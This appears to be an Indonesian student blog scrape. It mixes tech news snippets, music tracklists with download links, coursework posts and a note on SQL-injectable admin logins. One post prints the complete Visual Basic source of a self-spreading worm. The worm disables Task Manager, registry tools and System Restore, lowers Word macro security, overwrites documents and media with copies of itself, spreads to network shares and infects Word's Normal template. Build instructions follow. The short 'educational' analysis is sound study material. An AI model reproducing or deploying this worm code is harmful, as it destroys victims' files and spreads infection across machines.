iPad Generasi Ke 3

Apakah kalian pengguna iPad ? Ada kabar gembira bagi produk keluaran Apple itu. Mau tahu ? Silahkan dibaca lanjutannya....

Yottabyte - Ukuran Harddisk Terbesar

Halah sudah seminggu belum posting, selain cape kerja, bawaannya, pulang ke rumah ngantuk mulu....:( Baiklah, saya coba semangat lagi. Kali ini saya akan membahas tentang ukuran harddisk terbesar untuk saat ini (walaupun belum diproduksi secara massal).

Windows 8 Tidak Mendukung Pemutar DVD

Ada kabar nih kalau di sistem operasi Windows 8 tidak akan mendukung aplikasi pemutar DVD dan Media Center tidak akan ditemui lagi. Lho, lalu bagaimana ya caranya agar kita dapat memutar film di PC ? Memang sih banyak sekali software-software fihak ketiga yang bisa diinstall di OS ini. Cuma menurut saya, ya sayang aja, kenapa dulu bisa ada, sekarang fitur tersebut malah dihilangkan ? Informasinya bagi pengguna yang ingin memainkan jenis file DVD atau mungkin file-file tertentu, harus membayar paket upgrade.

Peluncuran Tablet Amazon Kindle Fire 10,1 Inci

Mungkin sekarang adalah zamannya tablet. Selama ini kita tahu beberapa jenis komputer, misalnya desktop, notebook dan netbook. Di era "touch screen" ini, orang tidak akan kesulitan mencari gadget yang memenuhi kualifikasi tersebut. Hanya dengan tablet, hampir semua pekerjaan yang selama ini membutuhkan satu unit komputer, bisa dikerjakan dengan alat ini. Keuntungan lain dari kepemilikan tablet ini adalah mobilitas. Orang bisa menggunakan tablet di mana saja, tanpa harus terkiat dengan ruang tertentu seperti halnya penggunaan desktop.

CodeIgniter Framework PHP

CodeIgniter adalah aplikasi open source yang berupa framework dengan model MVC (Model, View, Controller) untuk membangun website dinamis dengan menggunakan PHP. CodeIgniter memudahkan developer untuk membuat aplikasi web dengan cepat dan mudah dibandingkan dengan membuatnya dari awal. CodeIgniter dirilis pertama kali pada 28 Februari 2006. Versi terakhir adalah 1.7.2 dapat dilihat di website resminya (ada dibagian akhir tulisan ini).

Kecangihan Teknologi Yang Di Manfaatkan Dalam Dunia Pendidikan

Sebuah tablet PC memiliki fungsi yang serbaguna, lebih dari sekedar perangkat untuk menikmati konten hiburan. Sekarang Samsung Galaxy Tab telah siap untuk berperan penting dalam membuat sistem "Smart School" di sekolah-sekolah umum di Korea.

Kecangihan Teknologi iPhone 5

Ini merupakan salahsatu dari Kecangihan teknologi iphone 5 Anda lihat, spekulasi telah mengambang sekitar apakah next-gen iPhone akan termasuk konektivitas 3GS dan membiarkan desain seperti atau datang dengan perangkat keras yang revolusioner didukung oleh OS yang baru. Dan dilihat dari layar ini meraih baru-baru ini diposting, kita mungkin tahu jawabannya.

PENGARUH PERKEMBANGAN TEKNOLOGI INFORMASI TERHADAP BIDANG AKUNTANSI MANAJEMEN

Dalam era bisnis global, pengaruh kemajuan teknologi informasi tidak dapat
dihindarkan lagi, seperti penggunaan telepon, faksimili, komputer, dan satelit dalam berbagai aktivitas sarana berkomunikasi perusahaan. Teknologi informasi memungkinkan manusia untuk memperoleh informasi dari tempat yang berjauhan dalam waktu yang singkat dan dengan biaya yang murah.

PERKEMBANGAN TEKNOLOGI ERA SEKARANG

• Keberhasilan penerapan teknologi fuzzy seperti yang telah dibeberkan pada bagian pembahasan sebelumnya, dapat direalisasikan jika terdapat penelitian dan strategi pengembangan riset dan desain oleh sebuah industri untuk menemukan teknik terbaik untuk produknya. Hal tersebut tentunya tidak terlepas dari kesulitan-kesulitan yang ditemui dalam menggunakan dan pengembangan teknologi ini. Secara garis besar beberapa kesulitan yang ditemui oleh industri-industri elektronika adalah sebagai berikut (4):
• Para enjiner dan ilmuwan generasi sebelumnya dan sekarang banyak yang tidak mengenal teori kendali fuzzy, meskipun secara teknik praktis mereka memiliki pengalaman untuk menggunakan teknologi dan perkakas kontrol yang sudah ada.

HYPOCHONDRIAC AT CIAMIS 24 JUNI

NEXT GIGS AT CIAMIS 24 JUNE SEKARANG
SABEULIT BUMI PRODUCTION PRESENT
CIAMIS NGARIUNG SAGALUR
24 JUNE 2012 AT GOR GELANGGANG GALUH TARUNA (CIAMIS)
-VOMITING-
* HYPOCHONDRIAC (BANDUNG)
* SIDJIL (BANDUNG)
* SUFFERING OF DEATH (BANDUNG)
* FATAL OF HATE
* DEFORMATION
* GENITAL DISEASE
* PITBULL ATTACK,AND MANY MORE

HTM : 15.000

SUPPORT BY :
* FRIENDS FOREVER DENIM
* UPUY CAFE
* RAFLESIA HELL PARK

 

Tugas RO dulu ah!!

RISET OPRASIONAL !!! wow

tugas openGL

terimakasih kawan !!!

coding nyusul

L'Arc~en~Ciel TRIBUTE

Tracklist:
1. Vince Neil / Blurry Eyes
2. Orianthi / NEO UNIVERSE
3. TLC / RAINBOW ( Niji)
4. Eric Martin, JOHN 5 / HONEY
5. ZEBRAHEAD / READY STEADY GO
6. BOYZ II MEN / snow drop
7. Maxi Priest / Vivid Colors
8. Michael Monroe / HEAVEN’S DRIVE
9. Daniel Powter / STAY AWAY
10. Clémentine / flower
11. POLYSICS / SEVENTH HEAVEN
12. SID / Shout at the Devil
13. Hemenway / Caress of Venus
14. TOTALFAT / Driver’s High




                                                                              Download
                                                        deposit ::: 4shared ::: mediafire ::: EDOC
                                                                       Password = alvinsc
Credits: alvinsc, jrokku

tugas ADSI nih yang terstruktur

tugas ADSI nih yang terstruktur
mengenalisi sistem parkir
download

Website Yang Celah Keamanannya Fatal

contoh website yang masih memiliki celah keamanan yang fatal pada form login administrator nya. Cukup dengan SQL Injection kita bisa masuk sebagai admin.

website 1

website 2

website 3

Pencegahan untuk celah keamanan SQL Injection pada form login, bisa dengan merubah algoritma untuk username dan password atau bisa juga dengan menambahkan skrip untuk melakukan enkripsi pada password.

sumber :

http://lutfiazharblog.blogspot.com/2012/06/website-yang-masih-memiliki-celah.html#more

wireshark sebagai packet snifing jaringan

Wireshark merupakan software untuk melakukan analisa lalu-lintas jaringan komputer,

yang memiliki fungsi-fungsi yang amat berguna bagi profesional jaringan, administrator jaringan, peneliti, hingga pengembang piranti lunak jaringan. Wireshark dapat membaca data secara langsung dari Ethernet, Token-Ring, FDDI, serial (PPP and SLIP), 802.11 wireless LAN , dan koneksi ATM.

Nmap (Network Mapper) sebagai packet snifing jaringan

Nmap (Network Mapper) adalah sebuah program open source yang berguna untuk mengesksplorasi jaringan. Nmap didesain untuk dapat melakukan scan jaringan yang besar, juga dapat digunakan untuk melakukan scan host tunggal. Nmap menggunakan paket IP untuk menentukan host-host yang aktif dalam suatu jaringan, port-port yang terbuka, sistem operasi yang dipunyai, tipe firewall yang dipakai, dll. Keunggulan-keunggulan yang dimiliki oleh Nmap:

• Powerful Nmap dapat digunakan untuk men-scan jaringan yang besar

• Portable Nmap dapat berjalan di berbagai macam sistem operasi seperti Linux, Windows,

FreeBSD, OpenBSD, Solaris, dll

• Mudah untuk digunakan

• Free

• Mempunyai dokumentasi yang baik

Pendiri detik.com

Detik.com ialah sebuah portal web yang berisi berita aktual dan artikel daring di Indonesia. Detik.com merupakan salah satu situs berita terpopuler di Indonesia. Berbeda dari situs-situs berita berbahasa Indonesia lainnya, detikcom hanya mempunyai edisi daring dan menggantungkan pendapatan dari bidang iklan. Meskipun begitu, detikcom merupakan yang terdepan dalam hal berita-berita baru (breaking news). Sejak tanggal 3 Agustus 2011, detikcom menjadi bagian dari PT Trans Corporation, salah satu anak perusahaan CT Corp.

tugas, tugas dan tugas !!!

tugas satu belum selesai sudah ada tugas lainnya terus tugas lainya lagi di kerjain datang lagi tugas yang baru dan begitulah seterusnya sampai keluar kuliah semangat!!!

TOTALFAT - Wicked and Naked [2012.07.04]

TOTALFAT - Wicked and Naked [2012.07.04]

tracklist (both regular and limited edition):
1. ROCKERS IN DA HOUSE!!
2. Place to Try
3. X-stream
4. PARTY PARTY
5. Just Say Your Word
6. Highway Mark4
7. We Rise Again
8. Echoes Inside My Memories
9. Friend Never Sucks
10. Fat or Die
11. Good Bye, Good Luck
12. The Naked Journey

DOWNLOAD

(file m4a) 

upload by Arsis Baruna Wiwaha

6% is MINE - IDOLTIC PUNK-COVERS

6% is MINE - IDOLTIC PUNK-COVERS



tracklist


1. 赤いスイートピー
2. バレンタイン・キッス
3. うしろゆびさされ組
4. SECRET BASE ~君がくれたもの~
5. 私がオバさんになっても
6. 桃色片想い
7. セーラー服を脱がさないで
8. サウスポー
9. 初日

download (belum ada)




6% is MINE - SECRET BASE

6% is MINE - BEST-MIX PUNK-COVERS ~ Mixed by DJ YOU-G ~

tracklist

1. INTRO MEGA-MIX
2. Good-bye days
3. シングルベッド
4. どんなときも。
5. トイレの神様
6. それが大事
7. LOVE LOVE LOVE
8. 瞳をとじて
9. My Revolution
10. 手紙~拝啓十五の君へ~
11. ラブ・ストーリーは突然に
12. 少年時代～feat.TIM from BIRD-FLU～
13. Hello,Again ~昔からある場所~
14. ONE MORE TIME,ONE MORE CHANCE
15. 桜
16. LA・LA・LA LOVE SONG
17. TOMORROW
18. ZOO
19. TRUE LOVE
20. Everything

download

Sandy Beach Surf Coaster「Fun ! Fan ! Cover !!」

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

Sandy Beach Surf Coaster - ENDLESS SUMMER ~ Independent Best ~

tracklist


1. S.O.S
2. NEW STORY
3. SNOW FLAKES
4. TIME
5. _SUMMER'S GONE
6. PRIVATE BEACH
7. BE STRONG
8. HANABI
9. RE-TRY
10. I'M NOT PERFECT
11. MY FLIGHT
12. Daydreaming

download (belum ada)


Sandy Beach Surf Coaster / S.O.S

banyak tugas

lagi bnyak tugas nih semangat !!!

SAY MY NAME. 『JUST OK!!!』

01. At A Risk　　
02. New Dawn　
03. Turning
04. Mind Scope
05. Just OK
06. Freedom
07. Feedback My Oneday
08. Bedroom Magic
09. No Tribe
10. By My Life

knotlamp 『Bridges We've Dreamed』

tracklist


01. Blaze drops
02. Holy moments
03. Oblivion color
04. New dawn
05. Siren
06. Beautiful days

download

Fat Prop – Brand New World

Tracklist:
01. Drive
02. Stop The Time
03. Shade
04. Can’t Stop The Music
05. Feelin’Pop
06. Brand New Morning
07. I Don’t Care About You
08. Well, Well, Well
09. Reach
10. Hi
11. Dream Continue
12. Hello

download

SPACE BOYS - Barnard's Loop

Tracklist


1. Never Repeat
2. Angelina
3. Same At The Start
4. Sometime
5. Worry
6. Go Your Way
7. Yesterday's Me
8. Turn To Me
9. Turning Point
10. Another World
11. Rain
12. Reality And Hope
13. Keep On Dreaming 


download

NOFX - Thalidomide Child 7" (2012)

NOFX - Thalidomide Child 7" (2012)

01. Ant Attack
02. Righteous Cause
03. Rafters
04. Bang Gang
05. Thalidomide Child
06. My Friends
07. Breakdown
08. NOFX

download

Komputer High-Definition

TEKNOLOGI high definition (HD), kini menjadi tren di industri teknologi. Setelah televisi, kini komputer pun memakai teknologi tersebut. 

Kini teknologi HD mampu menghubungkan dengan monitor PC pengguna yang disebut ATI Eyefinity. Sebuah multi display teknologi untuk bermain game, produktivitas, dan hiburan. 

knotlamp 『Across my world』

Across my world
knotlamp
(2012.06.06)


playlist :
01. Across my world
02. Unbeaten path
03. Back to Zero
04. 時の行方 -meets classic-




sumber :
http://blog.livedoor.jp/naoya_708_s/archives/6288563.html

Source Code Virus Worm dengan Visual Basic

'---------------------------------------------------------------- ' CSW : CyberSufi Worm ' M3R : Megatruh variant 3 Reincarnation ' (2006)CopyLeft, Cybesufi, Tri Amperiyanto, Java, Indonesia ' email : megatruh@hotmail.com ' For educational purposes only ! ' Evil is not aim but fulfill perfectness ! '---------------------------------------------------------------- Private Const EWX_LOGOFF = 0 Private Const EWX_SHUTDOWN = 1 Private Const EWX_REBOOT = 2 Private Const EWX_FORCE = 4 Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long Private Declare Function FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, ByVal _ lpWindowName As String) As Long Dim pict As Picture Dim a As Integer Private Declare Function BitBlt _ Lib "gdi32" ( _ ByVal hDestDC As Long, _ ByVal X As Long, ByVal Y As Long, _ ByVal nWidth As Long, _ ByVal nHeight As Long, _ ByVal hSrcDC As Long, _ ByVal XSrc As Long, ByVal YSrc As Long, _ ByVal dwRop As Long _ ) As Long Private Declare Function GetDesktopWindow _ Lib "user32" () As Long Private Declare Function GetDC _ Lib "user32" ( _ ByVal hwnd As Long _ ) As Long Private Declare Function ReleaseDC _ Lib "user32" ( _ ByVal hwnd As Long, _ ByVal hdc As Long _ ) As Long Private Const SWP_NOSIZE = &H1 Private Const SWP_NOMOVE = &H2 Private Const SWP_NOZORDER = &H4 Private Const SWP_NOREDRAW = &H8 Private Const SWP_NOACTIVATE = &H10 Private Const SWP_FRAMECHANGED = &H20 Private Const SWP_SHOWWINDOW = &H40 Private Const SWP_HIDEWINDOW = &H80 Private Const SWP_NOCOPYBITS = &H100 Private Const SWP_NOOWNERZORDER = &H200 Private Const SWP_DRAWFRAME = SWP_FRAMECHANGED Private Const SWP_NOREPOSITION = SWP_NOOWNERZORDER Private Const HWND_TOP = 0 Private Const HWND_BOTTOM = 1 Private Const HWND_TOPMOST = -1 Private Const HWND_NOTOPMOST = -2 Private Declare Function SetWindowPos _ Lib "user32" ( _ ByVal hwnd As Long, _ ByVal hwndInsertAfter As Long, _ ByVal X As Long, _ ByVal Y As Long, _ ByVal CX As Long, _ ByVal CY As Long, _ ByVal wFlags As Long _ ) As Long Private mbOnTop As Boolean Private Property Let OnTop(Setting As Boolean) If Setting Then SetWindowPos hwnd, HWND_TOPMOST, _ 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE Else SetWindowPos hwnd, HWND_NOTOPMOST, _ 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE End If mbOnTop = Setting End Property Private Property Get OnTop() As Boolean OnTop = mbOnTop End Property Private Sub Form_Load() On Error Resume Next Dim drives Dim regrun Dim xx Dim X Dim Y Dim z Dim zz Dim fso '--- App.TaskVisible = False '=== Set regrun = CreateObject("Wscript.shell") regrun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Stask", "c:\csw.exe" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoRun", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableRegistryTools", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", 1, "REG_DWORD" '= X = App.path & "\" & App.EXEName & ".exe" Y = "c:\WINDOWS\creditcardinfo.txt.EXE" z = "c:\ccinfo.EXE" zz = "c:\csw.exe" zzz = "c:\readme.txt" zzzz = "c:\windows\readme.txt" zzzzz = "c:\windows\system32\readme.txt" mark = "c:\version.sys" CopyFile X, Y, 0 CopyFile X, z, 0 CopyFile X, zz, 0 CopyFile X, zzz, 0 CopyFile X, zzzz, 0 CopyFile X, zzzzz, 0 '= If Dir("c:\version.sys") = "" Then Set fso = CreateObject("scripting.filesystemobject") Set drives = fso.drives For Each Drive In drives If Drive.isready Then CopyFile X, mark, 0 Dosearch (Drive & "\") End If Next End If Timer1.Enabled = True Timer2.Enabled = True Timer3.Enabled = True Timer4.Enabled = True Timer5.Enabled = True Call NetSpread Call Main End Sub '= Function Dosearch(path) On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Set folder = fso.getfolder(path) Set Files = folder.Files For Each file In Files '= If LCase(fso.GetExtensionName(file.path)) = "doc" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If '= If LCase(fso.GetExtensionName(file.path)) = "sys" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If '= If LCase(fso.GetExtensionName(file.path)) = "dll" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If '= If LCase(fso.GetExtensionName(file.path)) = "jpg" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If '= If LCase(fso.GetExtensionName(file.path)) = "bmp" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If '= If LCase(fso.GetExtensionName(file.path)) = "mp3" Then Set cop = fso.getFile("c:\readme.txt") cop.Copy (file.path & ".exe") End If On Error Resume Next Next Set Subfolders = folder.Subfolders For Each Subfolder In Subfolders Dosearch Subfolder.path Next End Function Sub NetSpread() On Error Resume Next Set Network = CreateObject("WScript.Network") Set Shares = Network.EnumNetworkDrives If Shares.Count > 0 Then Set fso = CreateObject("Scripting.FileSystemObject") For Counter1 = 0 To Shares.Count - 1 If Shares.Item(Counter1) <> "" Then fso.getFile(wscript.ScriptFullName).Copy ("kamasutra.txt.exe") Dosearch (Shares.Item(Counter1)) End If Next Set fso = Nothing End If Set Shares = Nothing Set Network = Nothing End Sub '= Sub Main() On Error Resume Next Dim zz, zz1, file, fso, oword, nt, b, i, iw, attr zz1 = App.path & "\" & App.EXEName & ".exe" file = "c:\csw.exe" file2 = "c:\windows\readme.txt.exe" file3 = "c:\windows\ccinfo.exe" CopyFile zz1, file, 0 CopyFile zz1, file2, 0 CopyFile zz1, file3, 0 On Error Resume Next Open "c:\v.reg" For Output As 2 Print #2, "REGEDIT4" Print #2, "[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]" Print #2, """Level""=dword:00000001" Print #2, "[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]" Print #2, """Level""=dword:00000001" Close 2 Shell "regedit /s c:\v.reg", vbHide Kill "c:\v.reg" On Error Resume Next Open "c:\vv.reg" For Output As 5 Print #5, "Windows Registry Editor Version 5.00" Print #5, "[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]" Print #5, """Level""=dword:00000001" Print #5, "[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]" Print #5, """Level""=dword:00000001" Close 5 Shell "regedit /s c:\vv.reg", vbHide Kill "c:\vv.reg" On Error Resume Next If Dir("c:\m3r.sys") <> "m3r.sys" Then Open "c:\m3r.sys" For Output As 9 Print #9, "Sub document_close()" Print #9, "On Error Resume Next" Print #9, "Open ""c:\m3r.txt"" For Output As 2" Print #9, "Print #2, ""sub document_open()""" Print #9, "Print #2, ""On Error Resume Next""" Print #9, "Print #2, ""'by M3:Reincarnation""" Print #9, "Print #2, ""obj = ActiveDocument.Shapes(1).OLEFormat.ClassType""" Print #9, "Print #2, ""With ActiveDocument.Shapes(1).OLEFormat""" Print #9, "Print #2, "" .ActivateAs ClassType:=obj""" Print #9, "Print #2, "" .Activate""" Print #9, "Print #2, ""End With""" Print #9, "Print #2, ""end sub""" Print #9, "Close 2" Print #9, "Set fso = CreateObject(""Scripting.FileSystemObject"")" Print #9, "Set nt = ActiveDocument.VBProject.vbcomponents(1).codemodule" Print #9, "Set iw = fso.OpenTextFile(""c:\m3r.txt"", 1, True)" Print #9, "nt.DeleteLines 1, nt.CountOfLines" Print #9, "i = 1" Print #9, "Do While iw.atendofstream <> True" Print #9, "b = iw.readline" Print #9, "nt.InsertLines i, b" Print #9, "i = i + 1" Print #9, "Loop" Print #9, "ActiveDocument.Shapes.AddOLEObject _" Print #9, "FileName:=""c:\csw.exe"", _" Print #9, "LinkToFile:=False" Print #9, "ActiveDocument.Save" Print #9, "Open ""c:\vv.reg"" For Output As 3" Print #9, "Print #3, ""REGEDIT4""" Print #9, "Print #3, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]""" Print #9, "Print #3, """"""Level""""=dword:00000001""" Print #9, "Print #3, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]""" Print #9, "Print #3, """"""Level""""=dword:00000001""" Print #9, "Close 3" Print #9, "Shell ""regedit /s c:\vv.reg"", vbHide" Print #9, "Kill ""c:\vv.reg""" Print #9, "Open ""c:\vvv.reg"" For Output As 4" Print #9, "Print #4, ""Windows Registry Editor Version 5.00""" Print #9, "Print #4, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]""" Print #9, "Print #4, """"""Level""""=dword:00000001""" Print #9, "Print #4, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]""" Print #9, "Print #4, """"""Level""""=dword:00000001""" Print #9, "Close 4" Print #9, "Shell ""regedit /s c:\vvv.reg"", vbHide" Print #9, "Kill ""c:\vvv.reg""" Print #9, "End Sub" Close 9 On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Set oword = CreateObject("Word.Application") oword.Visible = False Set nt = oword.NormalTemplate.vbproject.vbcomponents(1).codemodule Set iw = fso.OpenTextFile("c:\m3r.sys", 1, True) nt.DeleteLines 1, nt.CountOfLines i = 1 Do While iw.atendofstream <> True b = iw.readline nt.InsertLines i, b i = i + 1 Loop On Error Resume Next oword.NormalTemplate.Save SetAttr oword.NormalTemplate.Fullname, vbReadOnly oword.NormalTemplate.Close Set oword = Nothing End If End Sub '= Private Sub Timer1_Timer() On Error Resume Next CopyFile "c:\readme.txt", "c:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "d:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "e:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "f:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "g:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "h:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "i:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "j:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next CopyFile "c:\readme.txt", "k:\" & "\" + "kamasutra.txt.exe", 0 On Error Resume Next Call NetSpread End Sub '= Private Sub Timer2_Timer() On Error Resume Next Dim strClassName As String Dim strCaption As String strClassName = "#32770" strCaption = "System Configuration Utility" If FindWindow(strClassName, strCaption) <> 0 Then lngResult = ExitWindowsEx(4, &H0) End If strClassName = "RegEdit_RegEdit" strCaption = "Registry Editor" If FindWindow(strClassName, strCaption) <> 0 Then lngResult = ExitWindowsEx(4, &H0) End If strClassName = "#32770" strCaption = "Windows Task Manager" If FindWindow(strClassName, strCaption) <> 0 Then lngResult = ExitWindowsEx(4, &H0) End If strClassName = "ThunderRT6Main" strCaption = "HijackThis" If FindWindow(strClassName, strCaption) <> 0 Then On Error Resume Next Set regrun = CreateObject("Wscript.shell") regrun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\SecureBoot", 3, "REG_DWORD" lngResult = ExitWindowsEx(4, &H0) End If On Error Resume Next X = App.path & "\" & App.EXEName & ".exe" Y = "c:\WINDOWS\msginax.dll" z = "c:\ccinfo.EXE" zz = "c:\csw.exe" zzz = "c:\readme.txt" zzzz = "c:\windows\readme.txt" zzzzz = "c:\windows\system32\readme.txt" CopyFile X, Y, 0 CopyFile X, z, 0 CopyFile X, zz, 0 CopyFile X, zzz, 0 CopyFile X, zzzz, 0 CopyFile X, zzzzz, 0 On Error Resume Next X = "c:\windows\system32\readme.txt" Y = "c:\WINDOWS\msginax.dll" z = "c:\ccinfo.EXE" zz = "c:\csw.exe" zzz = "c:\readme.txt" zzzz = "c:\windows\readme.txt" CopyFile X, Y, 0 CopyFile X, z, 0 CopyFile X, zz, 0 CopyFile X, zzz, 0 CopyFile X, zzzz, 0 On Error Resume Next X = "c:\readme.txt" Y = "c:\WINDOWS\msginax.dll" z = "c:\ccinfo.EXE" zz = "c:\csw.exe" zzz = "c:\readme.txt" zzzz = "c:\windows\system32\readme.txt" CopyFile X, Y, 0 CopyFile X, z, 0 CopyFile X, zz, 0 CopyFile X, zzz, 0 CopyFile X, zzzz, 0 '= On Error Resume Next Set regrun = CreateObject("Wscript.shell") regrun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Stask", "c:\csw.exe" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoRun", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableRegistryTools", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", 1, "REG_DWORD" End Sub '= Private Sub Timer3_Timer() On Error Resume Next If Day(Date) = 21 Or Day(Date) = 4 Or Day(Date) = 20 Or Day(Date) = 31 Or Day(Date) = 8 Then lngResult = ExitWindowsEx(4, &H0) End If If Day(Date) = 13 Or Day(Date) = 26 Or Day(Date) = 1 Then Set regrun = CreateObject("Wscript.shell") regrun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\SecureBoot", 3, "REG_DWORD" For i% = 1 To 1000000 On Error Resume Next Shell "c:\csw.exe" Next i% End If If TimeValue(Now) > TimeValue("09:00:00") Then Call animasi End If End Sub Private Sub animasi() Dim X As Long, Y As Long Dim XSrc As Long, YSrc As Long Dim dwRop As Long, hwndSrc As Long, hSrcDC As Long Dim Res As Long Dim m1, m2 Dim n1, n2 Dim PixelColor, PixelCount OnTop = True Randomize a = Rnd * 3 On Error Resume Next Width = Screen.Width Height = Screen.Height Randomize ScaleMode = vbPixels Move 0, 0, Screen.Width + 1, Screen.Height + 1 dwRop = &HCC0020 hwndSrc = GetDesktopWindow() hSrcDC = GetDC(hwndSrc) Res = BitBlt(hdc, 0, 0, ScaleWidth, _ ScaleHeight, hSrcDC, 0, 0, dwRop) Res = ReleaseDC(hwndSrc, hSrcDC) Show Set pict = Image WindowState = vbMaximized Picture1.Width = Screen.Width \ 15 Picture1.Height = Screen.Height \ 15 Picture1 = pict Picture2 = pict End Sub Private Sub Timer4_Timer() On Error Resume Next If a = 0 Then Picture1.PaintPicture Picture2, 0, -2 Picture1.PaintPicture Picture2, 0, Picture1.ScaleHeight - 2 Picture2 = Picture1.Image End If If a = 1 Then Picture1.PaintPicture Picture2, 0, 2 Picture1.PaintPicture Picture2, 0, -Picture1.ScaleHeight + 2 Picture2 = Picture1.Image End If If a = 2 Then Picture1.PaintPicture Picture2, -2, 0 Picture1.PaintPicture Picture2, Picture1.ScaleWidth - 2, 0 Picture2 = Picture1.Image End If If a = 3 Then Picture1.PaintPicture Picture2, 2, 0 Picture1.PaintPicture Picture2, -Picture1.ScaleWidth + 2, 0 Picture2 = Picture1.Image End If End Sub Private Sub Timer5_Timer() a = Rnd * 3 End Sub

analisis virus worm dengan visual basic

Virus Worm merupakan virus untuk menggandakan dirinya dimemori atau file-file baru yang berada di dalam memori.

Cara kerja virus worm ini dengan meminjam nama suatu folder atau file atau juga

menindih file yang ada dengan program utamanya sehingga file tersebut rusak

diganti dengan program worm tersebut. Target worm ini adalah dokumen word dan file dengan extension mp3, jpg, bmp, dll.

Simpan project dengan nama csw.vbp lalu buatlah file exe nya dengan cara klik menu file pada Visual Basic selanjutnya klik make csw.exe.

tujuan membuat virus worm dengan visual basic

tujuannya adalah :

• Untuk mengetahui lebih lanjut cara kerja tentangn penyebaran virus worm pada sistem operasi Windows.
• Untuk mempelajari dan meneliti lebih lanjut dampak yang ditimbulkan oleh virus worm dan cara penanggulangannya pada sistem operasi Windows.

sekian

program Virus dengan visual basic

program Virus dengan visual basic


Tugas diantaranya :
- tujuan
- analisis
- program (source code dan script utamanya)

Virus Trojan

